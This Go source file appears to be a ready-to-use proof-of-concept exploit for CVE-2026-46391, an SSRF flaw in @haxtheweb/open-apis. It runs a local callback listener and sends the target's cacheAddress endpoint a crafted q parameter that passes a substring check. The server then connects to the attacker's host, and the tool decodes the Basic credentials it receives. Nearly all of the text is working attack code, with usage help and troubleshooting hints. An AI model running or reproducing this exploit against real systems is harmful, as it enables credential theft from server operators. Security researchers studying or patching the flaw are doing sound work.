README.md
Rendering markdown...
package main
import (
"context"
"encoding/base64"
"flag"
"fmt"
"io"
"net"
"net/http"
"net/url"
"os"
"sort"
"strconv"
"strings"
"time"
)
const (
// ssrfPath is appended to the callback URL so the target's substring check triggers.
ssrfPath = "/.aanda.psu.edu"
// apiPath is the cacheAddress endpoint path, appended to the -u/--url web root.
apiPath = "/api/services/website/cacheAddress"
)
func main() {
fmt.Print("\n[***] CVE-2026-46391 - Credential Exposure via SSRF in @haxtheweb/open-apis [***]\n")
fmt.Print(" [+] Built (with love) by @bradyjmcl [+]\n\n")
var targetHost, listenerHost, port string
var timeout int
var verbose bool
flag.StringVar(&targetHost, "u", "", "")
flag.StringVar(&targetHost, "url", "", "")
flag.StringVar(&listenerHost, "l", "", "")
flag.StringVar(&listenerHost, "listener", "", "")
flag.StringVar(&port, "p", "8080", "")
flag.StringVar(&port, "port", "8080", "")
flag.IntVar(&timeout, "t", 30, "")
flag.IntVar(&timeout, "timeout", 30, "")
flag.BoolVar(&verbose, "v", false, "")
flag.BoolVar(&verbose, "verbose", false, "")
flag.Usage = func() {
out := flag.CommandLine.Output()
fmt.Fprintf(out, "Usage: %s -u <web-root> -l <listener> [-p port] [-t seconds] [-v]\n\n", os.Args[0])
fmt.Fprintf(out, "Options:\n")
fmt.Fprintf(out, " %-24s%s\n", "-h, --help", "show this help message and exit")
fmt.Fprintf(out, " %-24s%s\n", "-u, --url string", "target web root (e.g. http://10.10.0.80:3000)")
fmt.Fprintf(out, " %-24s%s\n", "-l, --listener string", "IP/hostname to listen on (e.g. 192.168.1.10 or http://192.168.1.10)")
fmt.Fprintf(out, " %-24s%s\n", "", "or full URL including port for tunnels/proxies (e.g. https://your-uuid.trycloudflare.com)")
fmt.Fprintf(out, " %-24s%s\n", "-p, --port int", "local port to listen on (default 8080)")
fmt.Fprintf(out, " %-24s%s\n", "-t, --timeout int", "seconds to wait for callback (default 30)")
fmt.Fprintf(out, " %-24s%s\n", "-v, --verbose", "print headers and body of every inbound request")
}
flag.Parse()
if targetHost == "" || listenerHost == "" {
flag.Usage()
os.Exit(1)
}
portNum, err := strconv.Atoi(port)
if err != nil {
fmt.Fprintf(os.Stderr, "[-] Invalid value %q for -p/--port: must be an integer (e.g. -p 9090)\n", port)
os.Exit(1)
}
if portNum < 1 || portNum > 65535 {
fmt.Fprintf(os.Stderr, "[-] Invalid port %d: must be between 1 and 65535\n", portNum)
os.Exit(1)
}
if timeout < 1 {
fmt.Fprintf(os.Stderr, "[-] Invalid timeout %d: must be at least 1 second\n", timeout)
os.Exit(1)
}
done := make(chan string, 1)
ln, server, err := startListener(port, verbose, done)
if err != nil {
fmt.Fprintf(os.Stderr, "[-] Failed to bind :%s: %v\n", port, err)
os.Exit(1)
}
defer shutdown(server)
fmt.Printf("[*] Listener ready on :%s\n", port)
go func() {
if err := server.Serve(ln); err != nil && err != http.ErrServerClosed {
fmt.Fprintf(os.Stderr, "[-] Server error: %v\n", err)
}
}()
status, err := fireTrigger(targetHost, listenerHost, port)
triggerOK := err == nil
if err != nil {
fmt.Fprintf(os.Stderr, "[-] Trigger request failed: %v\n", err)
} else {
fmt.Printf("[i] Target responded with status %d\n", status)
}
if triggerOK {
fmt.Printf("[*] Waiting up to %ds for callback...\n", timeout)
} else {
fmt.Printf("[*] Waiting up to %ds for callback (trigger failed - unlikely to arrive)...\n", timeout)
}
select {
case creds := <-done:
fmt.Printf("\n[!] CAPTURED: %s\n", creds)
case <-time.After(time.Duration(timeout) * time.Second):
fmt.Println("[-] Timed out - no callback received")
fmt.Println(" Check: is your host reachable from the target server?")
fmt.Println(" Check: did the q param reach the credential branch?")
}
}
func startListener(port string, verbose bool, done chan string) (net.Listener, *http.Server, error) {
ln, err := net.Listen("tcp", ":"+port)
if err != nil {
return nil, nil, err
}
mux := http.NewServeMux()
mux.HandleFunc("/", callbackHandler(verbose, done))
return ln, &http.Server{
Handler: mux,
ReadTimeout: 10 * time.Second,
ReadHeaderTimeout: 5 * time.Second,
WriteTimeout: 10 * time.Second,
MaxHeaderBytes: 8 << 10,
}, nil
}
func callbackHandler(verbose bool, done chan string) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
fmt.Printf("\n[i] Request from %s\n", r.RemoteAddr)
fmt.Printf(" Path: %s\n", r.URL.String())
if verbose {
names := make([]string, 0, len(r.Header))
for name := range r.Header {
names = append(names, name)
}
sort.Strings(names)
for _, name := range names {
for _, v := range r.Header[name] {
fmt.Printf(" Header: %s: %s\n", name, v)
}
}
body, _ := io.ReadAll(io.LimitReader(r.Body, 4096))
if len(body) > 0 {
fmt.Printf(" Body: %s\n", body)
}
}
if r.URL.Path != ssrfPath {
http.NotFound(w, r)
return
}
creds := decodeAuth(r.Header.Get("Authorization"))
if creds != "" {
select {
case done <- creds:
default:
fmt.Println("[i] Duplicate callback - credentials discarded")
}
}
w.Header().Set("Content-Type", "text/plain")
w.WriteHeader(http.StatusOK)
fmt.Fprintln(w, "ok")
}
}
func decodeAuth(header string) string {
if header == "" {
fmt.Println("[-] No Authorization header - substring check may not have triggered")
return ""
}
if !strings.HasPrefix(header, "Basic ") {
fmt.Printf("[!] Authorization (non-Basic): %s\n", header)
return header
}
payload := strings.TrimRight(strings.TrimPrefix(header, "Basic "), "= ")
decoded, err := base64.RawStdEncoding.DecodeString(payload)
if err != nil {
fmt.Printf("[-] Failed to decode: %v\n", err)
return ""
}
return string(decoded)
}
func fireTrigger(target, host, port string) (int, error) {
endpoint := strings.TrimSuffix(target, "/") + apiPath
trigger := fmt.Sprintf("%s?q=%s", endpoint, url.QueryEscape(buildCallbackURL(host, port)))
fmt.Printf("[*] Triggering SSRF: %s\n", trigger)
client := &http.Client{Timeout: 15 * time.Second}
resp, err := client.Get(trigger) //nolint:gosec
if err != nil {
return 0, err
}
defer resp.Body.Close()
io.Copy(io.Discard, resp.Body) //nolint:errcheck
return resp.StatusCode, nil
}
func buildCallbackURL(host, port string) string {
if !strings.HasPrefix(host, "http://") && !strings.HasPrefix(host, "https://") {
h := host
if strings.HasPrefix(h, "[") && strings.HasSuffix(h, "]") {
h = h[1 : len(h)-1]
}
return fmt.Sprintf("http://%s%s", net.JoinHostPort(h, port), ssrfPath)
}
u, err := url.Parse(host)
if err != nil {
return strings.TrimSuffix(host, "/") + ssrfPath
}
if u.Port() != "" {
return strings.TrimSuffix(host, "/") + ssrfPath
}
if u.Scheme == "https" {
return strings.TrimSuffix(u.String(), "/") + ssrfPath
}
u.Host = net.JoinHostPort(u.Hostname(), port)
return strings.TrimSuffix(u.String(), "/") + ssrfPath
}
func shutdown(server *http.Server) {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
server.Shutdown(ctx) //nolint:errcheck
}